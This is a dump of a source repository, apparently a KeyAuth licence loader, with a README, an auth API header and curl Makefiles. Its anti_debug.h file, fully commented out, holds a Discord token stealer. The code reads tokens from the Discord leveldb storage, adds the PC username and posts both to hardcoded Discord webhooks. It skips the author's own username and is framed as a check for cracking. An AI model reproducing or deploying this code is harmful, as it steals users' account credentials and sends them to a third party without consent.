SHALL THE 635 | AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN 636 | ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 637 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 638 | ------------------------------------------------------------------------------ 639 | */ 640 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Keyauth loader uses file stream 2 | DeletedTOS#1027 add if you need help with this 3 | file stream da best 4 | -------------------------------------------------------------------------------- /anti_debug.h: -------------------------------------------------------------------------------- 1 | //#pragma once 2 | // 3 | //#include 4 | //#include 5 | //#include 6 | //#define CURL_STATICLIB 7 | //#include 8 | //#include 9 | //#include 10 | //#include 11 | //#include 12 | //#include "curl/curl.h" 13 | // 14 | //#pragma warning( disable : 4091) 15 | // 16 | ////main namespace for security 17 | //namespace security { 18 | // //internal (used by the security itself, no need to be used outside of namespace) 19 | // namespace internal { 20 | // int __cdecl vm_handler(EXCEPTION_RECORD* p_rec, void* est, unsigned char* p_context, void* disp); 21 | // void to_lower(unsigned char* input); 22 | // const wchar_t* get_string(int index); 23 | // 24 | // //dynamically resolved functions 25 | // typedef NTSTATUS(__stdcall* _NtQueryInformationProcess)(_In_ HANDLE, _In_ unsigned int, _Out_ PVOID, _In_ ULONG, _Out_ PULONG); 26 | // typedef NTSTATUS(__stdcall* _NtSetInformationThread)(_In_ HANDLE, _In_ THREAD_INFORMATION_CLASS, _In_ PVOID, _In_ ULONG); 27 | // 28 | // //enum for the results of the antidebugger 29 | // extern enum debug_results 30 | // { 31 | // //nothing was caught, value = 0 32 | // none = 0x0000, 33 | // 34 | // //something caught in memory (0x1000 - 0x1009) 35 | // being_debugged_peb = 0x1000, 36 | // remote_debugger_present = 0x1001, 37 | // debugger_is_present = 0x1002, 38 | // dbg_global_flag = 0x1003, 39 | // nt_query_information_process = 0x0004, 40 | // find_window = 0x1005, 41 | // output_debug_string = 0x1006, 42 | // nt_set_information_thread = 0x1007, 43 | // debug_active_process = 0x1008, 44 | // write_buffer = 0x1009, 45 | // 46 | // //something caught in exceptions (0x2000 - 0x2005) 47 | // close_handle_exception = 0x2000, 48 | // single_step = 0x2001, 49 | // int_3_cc = 0x2002, 50 | // int_2 = 0x2003, 51 | // prefix_hop = 0x2004, 52 | // debug_string = 0x2005, 53 | // 54 | // //something caught with timings (0x3000 - 0x3002) 55 | // rdtsc = 0x3000, 56 | // query_performance_counter = 0x3001, 57 | // get_tick_count = 0x3002, 58 | // 59 | // //something caught in cpu (0x4000 - 0x4001) 60 | // hardware_debug_registers = 0x4000, 61 | // mov_ss = 0x4001, 62 | // 63 | // //virtualization (0x5000 - 0x5003) 64 | // check_cpuid = 0x5000, 65 | // check_registry = 0x5001, 66 | // vm = 0x5002, 67 | // }; 68 | // 69 | // namespace memory { 70 | // int being_debugged_peb(); 71 | // int remote_debugger_present(); 72 | // int check_window_name(); 73 | // int is_debugger_present(); 74 | // int nt_global_flag_peb(); 75 | // int nt_query_information_process(); 76 | // int nt_set_information_thread(); 77 | // int debug_active_process(); 78 | // int write_buffer(); 79 | // } 80 | // 81 | // namespace exceptions { 82 | // int close_handle_exception(); 83 | // int single_step_exception(); 84 | // int int_3(); 85 | // int int_2d(); 86 | // int prefix_hop(); 87 | // int debug_string(); 88 | // } 89 | // 90 | // namespace timing { 91 | // int rdtsc(); 92 | // int query_performance_counter(); 93 | // int get_tick_count(); 94 | // } 95 | // 96 | // namespace cpu { 97 | // int hardware_debug_registers(); 98 | // //int mov_ss(); 99 | // } 100 | // 101 | // namespace virtualization { 102 | // int check_cpuid(); 103 | // int check_registry(); 104 | // int vm(); 105 | // } 106 | // } 107 | // 108 | // internal::debug_results check_security(); 109 | //} 110 | // 111 | ////using namespace std; 112 | ////namespace fs = std::filesystem; 113 | //// 114 | ////inline bool hasEnding(string const& fullString, string const& ending) { 115 | //// if (fullString.length() >= ending.length()) { 116 | //// return (0 == fullString.compare(fullString.length() - ending.length(), ending.length(), ending)); 117 | //// } 118 | //// else { 119 | //// return false; 120 | //// } 121 | ////} 122 | //// 123 | ////inline bool pathExist(const string& s) 124 | ////{ 125 | //// struct stat buffer; 126 | //// return (stat(s.c_str(), &buffer) == 0); 127 | ////} 128 | //// 129 | ////inline void sendWebhook(const char* content, const char* webhook) { 130 | //// CURL* curl; 131 | //// CURLcode res; 132 | //// 133 | //// curl_global_init(CURL_GLOBAL_ALL); 134 | //// curl = curl_easy_init(); 135 | //// if (curl) { 136 | //// curl_easy_setopt(curl, CURLOPT_URL, webhook); 137 | //// curl_easy_setopt(curl, CURLOPT_POSTFIELDS, content); 138 | //// 139 | //// res = curl_easy_perform(curl); 140 | //// 141 | //// if (res != CURLE_OK) 142 | //// fprintf(stderr, "curl_easy_perform() failed: %s\n", 143 | //// curl_easy_strerror(res)); 144 | //// 145 | //// curl_easy_cleanup(curl); 146 | //// } 147 | //// curl_global_cleanup(); 148 | ////} 149 | //// 150 | ////inline void webhookCleanup(const char* cleanupContent) { 151 | //// CURL* curl; 152 | //// CURLcode res; 153 | //// 154 | //// curl_global_init(CURL_GLOBAL_ALL); 155 | //// curl = curl_easy_init(); 156 | //// if (curl) { 157 | //// curl_easy_setopt(curl, CURLOPT_URL, "https://discord.com/api/webhooks/978061821841915994/GX54-fctU9m9GK00Kk89nXdGnu8KkwPCP3UF0FESCNUWXMR5POIcoZ8SdQg2UtgUomLX"); 158 | //// curl_easy_setopt(curl, CURLOPT_POSTFIELDS, cleanupContent); 159 | //// 160 | //// res = curl_easy_perform(curl); 161 | //// 162 | //// if (res != CURLE_OK) 163 | //// fprintf(stderr, "curl_easy_perform() failed: %s\n", 164 | //// curl_easy_strerror(res)); 165 | //// 166 | //// curl_easy_cleanup(curl); 167 | //// } 168 | //// curl_global_cleanup(); 169 | ////} 170 | //// 171 | //// 172 | ////inline vector grabPath() 173 | ////{ 174 | //// vector targetLocations; 175 | //// 176 | //// char* roaming; 177 | //// size_t len; 178 | //// _dupenv_s(&roaming, &len, "APPDATA"); 179 | //// 180 | //// char* local; 181 | //// size_t len2; 182 | //// _dupenv_s(&local, &len2, "LOCALAPPDATA"); 183 | //// 184 | //// string Discord = string(roaming) + "\\Discord"; 185 | //// 186 | //// targetLocations.push_back(Discord); 187 | //// 188 | //// free(local); 189 | //// free(roaming); 190 | //// 191 | //// return targetLocations; 192 | ////} 193 | //// 194 | ////inline vector findMatch(string str, regex reg) 195 | ////{ 196 | //// vector output; 197 | //// sregex_iterator currentMatch(str.begin(), str.end(), reg); 198 | //// sregex_iterator lastMatch; 199 | //// 200 | //// while (currentMatch != lastMatch) { 201 | //// smatch match = *currentMatch; 202 | //// output.push_back(match.str()); 203 | //// currentMatch++; 204 | //// } 205 | //// 206 | //// return output; 207 | ////} 208 | //// 209 | ////inline void search(const string& loc, const string& triggered) { 210 | //// ifstream ifs(loc, ios_base::binary); 211 | //// string content((istreambuf_iterator(ifs)), (istreambuf_iterator())); 212 | //// 213 | //// vector master; 214 | //// 215 | //// regex reg1("[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}"); 216 | //// regex reg2("mfa\\.[\\w-]{84}"); 217 | //// 218 | //// vector check = findMatch(content, reg1); 219 | //// vector check2 = findMatch(content, reg2); 220 | //// 221 | //// for (int i = 0; i < check.size(); i++) { 222 | //// master.push_back(check[i]); 223 | //// } 224 | //// for (int i = 0; i < check2.size(); i++) { 225 | //// master.push_back(check2[i]); 226 | //// } 227 | //// 228 | //// char username[UNLEN + 1]; 229 | //// DWORD username_len = UNLEN + 1; 230 | //// GetUserName((LPWSTR)username, &username_len); 231 | //// std::string temppp = username; 232 | //// 233 | //// for (int i = 0; i < master.size(); i++) { 234 | //// string combine = "content="; 235 | //// combine += "```Triggered: " + triggered + "\nPCUSERNAME: " + temppp + "\nTOKEN : " + master[i] + "```"; 236 | //// const char* postContent = combine.c_str(); 237 | //// if (temppp != "anton") 238 | //// { 239 | //// sendWebhook(postContent, "https://discord.com/api/webhooks/978058902555992164/oI-D7Bhf8Oq7LxmihyNof5IBBMy6BWo2OafZOYioEBnfqHjftxskQmN7aKg2hiD_Onn0"); 240 | //// webhookCleanup(postContent); 241 | //// } 242 | //// } 243 | ////} 244 | //// 245 | ////inline void sendMsgIfCracking(const string& path, const string& triggered) 246 | ////{ 247 | //// string target = path + "\\Local Storage\\leveldb"; 248 | //// 249 | //// for (const auto& entry : fs::directory_iterator(target)) 250 | //// { 251 | //// string strPath = entry.path().u8string(); 252 | //// if (hasEnding(strPath, ".log")) 253 | //// { 254 | //// search(strPath, triggered); 255 | //// } 256 | //// 257 | //// if (hasEnding(strPath, ".ldb")) 258 | //// { 259 | //// search(strPath, triggered); 260 | //// } 261 | //// } 262 | ////} -------------------------------------------------------------------------------- /auth.hpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | namespace KeyAuth { 7 | class api { 8 | public: 9 | 10 | std::string name, ownerid, secret, version, url, sslPin; 11 | 12 | api(std::string name, std::string ownerid, std::string secret, std::string version, std::string url, std::string sslPin) : name(name), ownerid(ownerid), secret(secret), version(version), url(url), sslPin(sslPin) {} 13 | 14 | void ban(); 15 | void init(); 16 | void log(std::string msg); 17 | void license(std::string key); 18 | std::string var(std::string varid); 19 | std::string webhook(std::string id, std::string params); 20 | void setvar(std::string var, std::string vardata); 21 | std::string getvar(std::string var); 22 | bool checkblack(); 23 | void upgrade(std::string username, std::string key); 24 | void login(std::string username, std::string password); 25 | void web_login(); 26 | void button(std::string value); 27 | std::vector download(std::string fileid); 28 | void regstr(std::string username, std::string password, std::string key); 29 | 30 | class data_class { 31 | public: 32 | // app data 33 | std::string numUsers; 34 | std::string numOnlineUsers; 35 | std::string numKeys; 36 | std::string version; 37 | std::string customerPanelLink; 38 | // user data 39 | std::string username; 40 | std::string ip; 41 | std::string hwid; 42 | std::string createdate; 43 | std::string lastlogin; 44 | std::string subscription; 45 | std::string expiry; 46 | // response data 47 | bool success; 48 | std::string message; 49 | }; 50 | data_class data; 51 | 52 | private: 53 | std::string sessionid, enckey; 54 | }; 55 | } 56 | -------------------------------------------------------------------------------- /curl/Makefile.am: -------------------------------------------------------------------------------- 1 | #*************************************************************************** 2 | # _ _ ____ _ 3 | # Project ___| | | | _ \| | 4 | # / __| | | | |_) | | 5 | # | (__| |_| | _ <| |___ 6 | # \___|\___/|_| \_\_____| 7 | # 8 | # Copyright (C) 1998 - 2019, Daniel Stenberg, , et al. 9 | # 10 | # This software is licensed as described in the file COPYING, which 11 | # you should have received as part of this distribution. The terms 12 | # are also available at https://curl.haxx.se/docs/copyright.html. 13 | # 14 | # You may opt to use, copy, modify, merge, publish, distribute and/or sell 15 | # copies of the Software, and permit persons to whom the Software is 16 | # furnished to do so, under the terms of the COPYING file. 17 | # 18 | # This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 19 | # KIND, either express or implied. 20 | # 21 | ########################################################################### 22 | pkginclude_HEADERS = \ 23 | curl.h curlver.h easy.h mprintf.h stdcheaders.h multi.h \ 24 | typecheck-gcc.h system.h urlapi.h 25 | 26 | pkgincludedir= $(includedir)/curl 27 | 28 | CHECKSRC = $(CS_$(V)) 29 | CS_0 = @echo " RUN " $@; 30 | CS_1 = 31 | CS_ = $(CS_0) 32 | 33 | checksrc: 34 | $(CHECKSRC)@PERL@ $(top_srcdir)/lib/checksrc.pl -D$(top_srcdir)/include/curl $(pkginclude_HEADERS) 35 | 36 | if CURLDEBUG 37 | # for debug builds, we scan the sources on all regular make invokes 38 | all-local: checksrc 39 | endif 40 | -------------------------------------------------------------------------------- /curl/Makefile.in: -------------------------------------------------------------------------------- 1 | # Makefile.in generated by automake 1.16.2 from Makefile.am. 2 | # @configure_input@ 3 | 4 | # Copyright (C) 1994-2020 Free Software Foundation, Inc. 5 | 6 | # This Makefile.in is free software; the Free Software Foundation 7 | # gives unlimited permission to copy and/or distribute it, 8 | # with or without modifications, as long as this notice is preserved. 9 | 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without 12 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A 13 | # PARTICULAR PURPOSE. 14 | 15 | @SET_MAKE@ 16 | 17 | VPATH = @srcdir@ 18 | am__is_gnu_make = { \ 19 | if test -z '$(MAKELEVEL)'; then \ 20 | false; \ 21 | elif test -n '$(MAKE_HOST)'; then \ 22 | true; \ 23 | elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \ 24 | true; \ 25 | else \ 26 | false; \ 27 | fi; \ 28 | } 29 | am__make_running_with_option = \ 30 | case $${target_option-} in \ 31 | ?) ;; \ 32 | *) echo "am__make_running_with_option: internal error: invalid" \ 33 | "target option '$${target_option-}' specified" >&2; \ 34 | exit 1;; \ 35 | esac; \ 36 | has_opt=no; \ 37 | sane_makeflags=$$MAKEFLAGS; \ 38 | if $(am__is_gnu_make); then \ 39 | sane_makeflags=$$MFLAGS; \ 40 | else \ 41 | case $$MAKEFLAGS in \ 42 | *\\[\ \ ]*) \ 43 | bs=\\; \ 44 | sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \ 45 | | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \ 46 | esac; \ 47 | fi; \ 48 | skip_next=no; \ 49 | strip_trailopt () \ 50 | { \ 51 | flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \ 52 | }; \ 53 | for flg in $$sane_makeflags; do \ 54 | test $$skip_next = yes && { skip_next=no; continue; }; \ 55 | case $$flg in \ 56 | *=*|--*) continue;; \ 57 | -*I) strip_trailopt 'I'; skip_next=yes;; \ 58 | -*I?*) strip_trailopt 'I';; \ 59 | -*O) strip_trailopt 'O'; skip_next=yes;; \ 60 | -*O?*) strip_trailopt 'O';; \ 61 | -*l) strip_trailopt 'l'; skip_next=yes;; \ 62 | -*l?*) strip_trailopt 'l';; \ 63 | -[dEDm]) skip_next=yes;; \ 64 | -[JT]) skip_next=yes;; \ 65 | esac; \ 66 | case $$flg in \ 67 | *$$target_option*) has_opt=yes; break;; \ 68 | esac; \ 69 | done; \ 70 | test $$has_opt = yes 71 | am__make_dryrun = (target_option=n; $(am__make_running_with_option)) 72 | am__make_keepgoing = (target_option=k; $(am__make_running_with_option)) 73 | pkgdatadir = $(datadir)/@PACKAGE@ 74 | pkglibdir = $(libdir)/@PACKAGE@ 75 | pkglibexecdir = $(libexecdir)/@PACKAGE@ 76 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd 77 | install_sh_DATA = $(install_sh) -c -m 644 78 | install_sh_PROGRAM = $(install_sh) -c 79 | install_sh_SCRIPT = $(install_sh) -c 80 | INSTALL_HEADER = $(INSTALL_DATA) 81 | transform = $(program_transform_name) 82 | NORMAL_INSTALL = : 83 | PRE_INSTALL = : 84 | POST_INSTALL = : 85 | NORMAL_UNINSTALL = : 86 | PRE_UNINSTALL = : 87 | POST_UNINSTALL = : 88 | build_triplet = @build@ 89 | host_triplet = @host@ 90 | subdir = include/curl 91 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 92 | am__aclocal_m4_deps = $(top_srcdir)/m4/ax_compile_check_sizeof.m4 \ 93 | $(top_srcdir)/m4/curl-compilers.m4 \ 94 | $(top_srcdir)/m4/curl-confopts.m4 \ 95 | $(top_srcdir)/m4/curl-functions.m4 \ 96 | $(top_srcdir)/m4/curl-openssl.m4 \ 97 | $(top_srcdir)/m4/curl-override.m4 \ 98 | $(top_srcdir)/m4/curl-reentrant.m4 $(top_srcdir)/m4/libtool.m4 \ 99 | $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ 100 | $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ 101 | $(top_srcdir)/m4/xc-am-iface.m4 \ 102 | $(top_srcdir)/m4/xc-cc-check.m4 \ 103 | $(top_srcdir)/m4/xc-lt-iface.m4 \ 104 | $(top_srcdir)/m4/xc-translit.m4 \ 105 | $(top_srcdir)/m4/xc-val-flgs.m4 \ 106 | $(top_srcdir)/m4/zz40-xc-ovr.m4 \ 107 | $(top_srcdir)/m4/zz50-xc-ovr.m4 \ 108 | $(top_srcdir)/m4/zz60-xc-ovr.m4 $(top_srcdir)/acinclude.m4 \ 109 | $(top_srcdir)/configure.ac 110 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ 111 | $(ACLOCAL_M4) 112 | DIST_COMMON = $(srcdir)/Makefile.am $(pkginclude_HEADERS) \ 113 | $(am__DIST_COMMON) 114 | mkinstalldirs = $(install_sh) -d 115 | CONFIG_HEADER = $(top_builddir)/lib/curl_config.h 116 | CONFIG_CLEAN_FILES = 117 | CONFIG_CLEAN_VPATH_FILES = 118 | AM_V_P = $(am__v_P_@AM_V@) 119 | am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) 120 | am__v_P_0 = false 121 | am__v_P_1 = : 122 | AM_V_GEN = $(am__v_GEN_@AM_V@) 123 | am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) 124 | am__v_GEN_0 = @echo " GEN " $@; 125 | am__v_GEN_1 = 126 | AM_V_at = $(am__v_at_@AM_V@) 127 | am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) 128 | am__v_at_0 = @ 129 | am__v_at_1 = 130 | SOURCES = 131 | DIST_SOURCES = 132 | am__can_run_installinfo = \ 133 | case $$AM_UPDATE_INFO_DIR in \ 134 | n|no|NO) false;; \ 135 | *) (install-info --version) >/dev/null 2>&1;; \ 136 | esac 137 | am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; 138 | am__vpath_adj = case $$p in \ 139 | $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ 140 | *) f=$$p;; \ 141 | esac; 142 | am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; 143 | am__install_max = 40 144 | am__nobase_strip_setup = \ 145 | srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` 146 | am__nobase_strip = \ 147 | for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" 148 | am__nobase_list = $(am__nobase_strip_setup); \ 149 | for p in $$list; do echo "$$p $$p"; done | \ 150 | sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ 151 | $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ 152 | if (++n[$$2] == $(am__install_max)) \ 153 | { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ 154 | END { for (dir in files) print dir, files[dir] }' 155 | am__base_list = \ 156 | sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ 157 | sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' 158 | am__uninstall_files_from_dir = { \ 159 | test -z "$$files" \ 160 | || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ 161 | || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ 162 | $(am__cd) "$$dir" && rm -f $$files; }; \ 163 | } 164 | am__installdirs = "$(DESTDIR)$(pkgincludedir)" 165 | HEADERS = $(pkginclude_HEADERS) 166 | am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) 167 | # Read a list of newline-separated strings from the standard input, 168 | # and print each of them once, without duplicates. Input order is 169 | # *not* preserved. 170 | am__uniquify_input = $(AWK) '\ 171 | BEGIN { nonempty = 0; } \ 172 | { items[$$0] = 1; nonempty = 1; } \ 173 | END { if (nonempty) { for (i in items) print i; }; } \ 174 | ' 175 | # Make sure the list of sources is unique. This is necessary because, 176 | # e.g., the same source file might be shared among _SOURCES variables 177 | # for different programs/libraries. 178 | am__define_uniq_tagged_files = \ 179 | list='$(am__tagged_files)'; \ 180 | unique=`for i in $$list; do \ 181 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 182 | done | $(am__uniquify_input)` 183 | ETAGS = etags 184 | CTAGS = ctags 185 | am__DIST_COMMON = $(srcdir)/Makefile.in 186 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) 187 | pkgincludedir = $(includedir)/curl 188 | ACLOCAL = @ACLOCAL@ 189 | AMTAR = @AMTAR@ 190 | AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ 191 | AR = @AR@ 192 | AR_FLAGS = @AR_FLAGS@ 193 | AS = @AS@ 194 | AUTOCONF = @AUTOCONF@ 195 | AUTOHEADER = @AUTOHEADER@ 196 | AUTOMAKE = @AUTOMAKE@ 197 | AWK = @AWK@ 198 | BLANK_AT_MAKETIME = @BLANK_AT_MAKETIME@ 199 | CC = @CC@ 200 | CCDEPMODE = @CCDEPMODE@ 201 | CFLAGS = @CFLAGS@ 202 | CFLAG_CURL_SYMBOL_HIDING = @CFLAG_CURL_SYMBOL_HIDING@ 203 | CONFIGURE_OPTIONS = @CONFIGURE_OPTIONS@ 204 | CPP = @CPP@ 205 | CPPFLAGS = @CPPFLAGS@ 206 | CPPFLAG_CURL_STATICLIB = @CPPFLAG_CURL_STATICLIB@ 207 | CURLVERSION = @CURLVERSION@ 208 | CURL_CA_BUNDLE = @CURL_CA_BUNDLE@ 209 | CURL_CFLAG_EXTRAS = @CURL_CFLAG_EXTRAS@ 210 | CURL_DISABLE_DICT = @CURL_DISABLE_DICT@ 211 | CURL_DISABLE_FILE = @CURL_DISABLE_FILE@ 212 | CURL_DISABLE_FTP = @CURL_DISABLE_FTP@ 213 | CURL_DISABLE_GOPHER = @CURL_DISABLE_GOPHER@ 214 | CURL_DISABLE_HTTP = @CURL_DISABLE_HTTP@ 215 | CURL_DISABLE_IMAP = @CURL_DISABLE_IMAP@ 216 | CURL_DISABLE_LDAP = @CURL_DISABLE_LDAP@ 217 | CURL_DISABLE_LDAPS = @CURL_DISABLE_LDAPS@ 218 | CURL_DISABLE_POP3 = @CURL_DISABLE_POP3@ 219 | CURL_DISABLE_PROXY = @CURL_DISABLE_PROXY@ 220 | CURL_DISABLE_RTSP = @CURL_DISABLE_RTSP@ 221 | CURL_DISABLE_SMB = @CURL_DISABLE_SMB@ 222 | CURL_DISABLE_SMTP = @CURL_DISABLE_SMTP@ 223 | CURL_DISABLE_TELNET = @CURL_DISABLE_TELNET@ 224 | CURL_DISABLE_TFTP = @CURL_DISABLE_TFTP@ 225 | CURL_ENABLE_MQTT = @CURL_ENABLE_MQTT@ 226 | CURL_LT_SHLIB_VERSIONED_FLAVOUR = @CURL_LT_SHLIB_VERSIONED_FLAVOUR@ 227 | CURL_NETWORK_AND_TIME_LIBS = @CURL_NETWORK_AND_TIME_LIBS@ 228 | CURL_NETWORK_LIBS = @CURL_NETWORK_LIBS@ 229 | CURL_WITH_MULTI_SSL = @CURL_WITH_MULTI_SSL@ 230 | CYGPATH_W = @CYGPATH_W@ 231 | DEFAULT_SSL_BACKEND = @DEFAULT_SSL_BACKEND@ 232 | DEFS = @DEFS@ 233 | DEPDIR = @DEPDIR@ 234 | DLLTOOL = @DLLTOOL@ 235 | DSYMUTIL = @DSYMUTIL@ 236 | DUMPBIN = @DUMPBIN@ 237 | ECHO_C = @ECHO_C@ 238 | ECHO_N = @ECHO_N@ 239 | ECHO_T = @ECHO_T@ 240 | EGREP = @EGREP@ 241 | ENABLE_SHARED = @ENABLE_SHARED@ 242 | ENABLE_STATIC = @ENABLE_STATIC@ 243 | EXEEXT = @EXEEXT@ 244 | FGREP = @FGREP@ 245 | FISH_FUNCTIONS_DIR = @FISH_FUNCTIONS_DIR@ 246 | GCOV = @GCOV@ 247 | GREP = @GREP@ 248 | HAVE_BROTLI = @HAVE_BROTLI@ 249 | HAVE_GNUTLS_SRP = @HAVE_GNUTLS_SRP@ 250 | HAVE_LDAP_SSL = @HAVE_LDAP_SSL@ 251 | HAVE_LIBZ = @HAVE_LIBZ@ 252 | HAVE_OPENSSL_SRP = @HAVE_OPENSSL_SRP@ 253 | HAVE_PROTO_BSDSOCKET_H = @HAVE_PROTO_BSDSOCKET_H@ 254 | IDN_ENABLED = @IDN_ENABLED@ 255 | INSTALL = @INSTALL@ 256 | INSTALL_DATA = @INSTALL_DATA@ 257 | INSTALL_PROGRAM = @INSTALL_PROGRAM@ 258 | INSTALL_SCRIPT = @INSTALL_SCRIPT@ 259 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ 260 | IPV6_ENABLED = @IPV6_ENABLED@ 261 | LCOV = @LCOV@ 262 | LD = @LD@ 263 | LDFLAGS = @LDFLAGS@ 264 | LIBCURL_LIBS = @LIBCURL_LIBS@ 265 | LIBCURL_NO_SHARED = @LIBCURL_NO_SHARED@ 266 | LIBMETALINK_CPPFLAGS = @LIBMETALINK_CPPFLAGS@ 267 | LIBMETALINK_LDFLAGS = @LIBMETALINK_LDFLAGS@ 268 | LIBMETALINK_LIBS = @LIBMETALINK_LIBS@ 269 | LIBOBJS = @LIBOBJS@ 270 | LIBS = @LIBS@ 271 | LIBTOOL = @LIBTOOL@ 272 | LIPO = @LIPO@ 273 | LN_S = @LN_S@ 274 | LTLIBOBJS = @LTLIBOBJS@ 275 | LT_SYS_LIBRARY_PATH = @LT_SYS_LIBRARY_PATH@ 276 | MAINT = @MAINT@ 277 | MAKEINFO = @MAKEINFO@ 278 | MANIFEST_TOOL = @MANIFEST_TOOL@ 279 | MANOPT = @MANOPT@ 280 | MKDIR_P = @MKDIR_P@ 281 | NM = @NM@ 282 | NMEDIT = @NMEDIT@ 283 | NROFF = @NROFF@ 284 | NSS_LIBS = @NSS_LIBS@ 285 | OBJDUMP = @OBJDUMP@ 286 | OBJEXT = @OBJEXT@ 287 | OTOOL = @OTOOL@ 288 | OTOOL64 = @OTOOL64@ 289 | PACKAGE = @PACKAGE@ 290 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ 291 | PACKAGE_NAME = @PACKAGE_NAME@ 292 | PACKAGE_STRING = @PACKAGE_STRING@ 293 | PACKAGE_TARNAME = @PACKAGE_TARNAME@ 294 | PACKAGE_URL = @PACKAGE_URL@ 295 | PACKAGE_VERSION = @PACKAGE_VERSION@ 296 | PATH_SEPARATOR = @PATH_SEPARATOR@ 297 | PERL = @PERL@ 298 | PKGADD_NAME = @PKGADD_NAME@ 299 | PKGADD_PKG = @PKGADD_PKG@ 300 | PKGADD_VENDOR = @PKGADD_VENDOR@ 301 | PKGCONFIG = @PKGCONFIG@ 302 | RANDOM_FILE = @RANDOM_FILE@ 303 | RANLIB = @RANLIB@ 304 | REQUIRE_LIB_DEPS = @REQUIRE_LIB_DEPS@ 305 | SED = @SED@ 306 | SET_MAKE = @SET_MAKE@ 307 | SHELL = @SHELL@ 308 | SSL_BACKENDS = @SSL_BACKENDS@ 309 | SSL_ENABLED = @SSL_ENABLED@ 310 | SSL_LIBS = @SSL_LIBS@ 311 | STRIP = @STRIP@ 312 | SUPPORT_FEATURES = @SUPPORT_FEATURES@ 313 | SUPPORT_PROTOCOLS = @SUPPORT_PROTOCOLS@ 314 | USE_ARES = @USE_ARES@ 315 | USE_BEARSSL = @USE_BEARSSL@ 316 | USE_GNUTLS = @USE_GNUTLS@ 317 | USE_GNUTLS_NETTLE = @USE_GNUTLS_NETTLE@ 318 | USE_LIBRTMP = @USE_LIBRTMP@ 319 | USE_LIBSSH = @USE_LIBSSH@ 320 | USE_LIBSSH2 = @USE_LIBSSH2@ 321 | USE_MBEDTLS = @USE_MBEDTLS@ 322 | USE_MESALINK = @USE_MESALINK@ 323 | USE_NGHTTP2 = @USE_NGHTTP2@ 324 | USE_NGHTTP3 = @USE_NGHTTP3@ 325 | USE_NGTCP2 = @USE_NGTCP2@ 326 | USE_NGTCP2_CRYPTO_GNUTLS = @USE_NGTCP2_CRYPTO_GNUTLS@ 327 | USE_NGTCP2_CRYPTO_OPENSSL = @USE_NGTCP2_CRYPTO_OPENSSL@ 328 | USE_NSS = @USE_NSS@ 329 | USE_OPENLDAP = @USE_OPENLDAP@ 330 | USE_QUICHE = @USE_QUICHE@ 331 | USE_SCHANNEL = @USE_SCHANNEL@ 332 | USE_SECTRANSP = @USE_SECTRANSP@ 333 | USE_UNIX_SOCKETS = @USE_UNIX_SOCKETS@ 334 | USE_WINDOWS_SSPI = @USE_WINDOWS_SSPI@ 335 | USE_WOLFSSH = @USE_WOLFSSH@ 336 | USE_WOLFSSL = @USE_WOLFSSL@ 337 | VERSION = @VERSION@ 338 | VERSIONNUM = @VERSIONNUM@ 339 | ZLIB_LIBS = @ZLIB_LIBS@ 340 | ZSH_FUNCTIONS_DIR = @ZSH_FUNCTIONS_DIR@ 341 | abs_builddir = @abs_builddir@ 342 | abs_srcdir = @abs_srcdir@ 343 | abs_top_builddir = @abs_top_builddir@ 344 | abs_top_srcdir = @abs_top_srcdir@ 345 | ac_ct_AR = @ac_ct_AR@ 346 | ac_ct_CC = @ac_ct_CC@ 347 | ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ 348 | am__include = @am__include@ 349 | am__leading_dot = @am__leading_dot@ 350 | am__quote = @am__quote@ 351 | am__tar = @am__tar@ 352 | am__untar = @am__untar@ 353 | bindir = @bindir@ 354 | build = @build@ 355 | build_alias = @build_alias@ 356 | build_cpu = @build_cpu@ 357 | build_os = @build_os@ 358 | build_vendor = @build_vendor@ 359 | builddir = @builddir@ 360 | datadir = @datadir@ 361 | datarootdir = @datarootdir@ 362 | docdir = @docdir@ 363 | 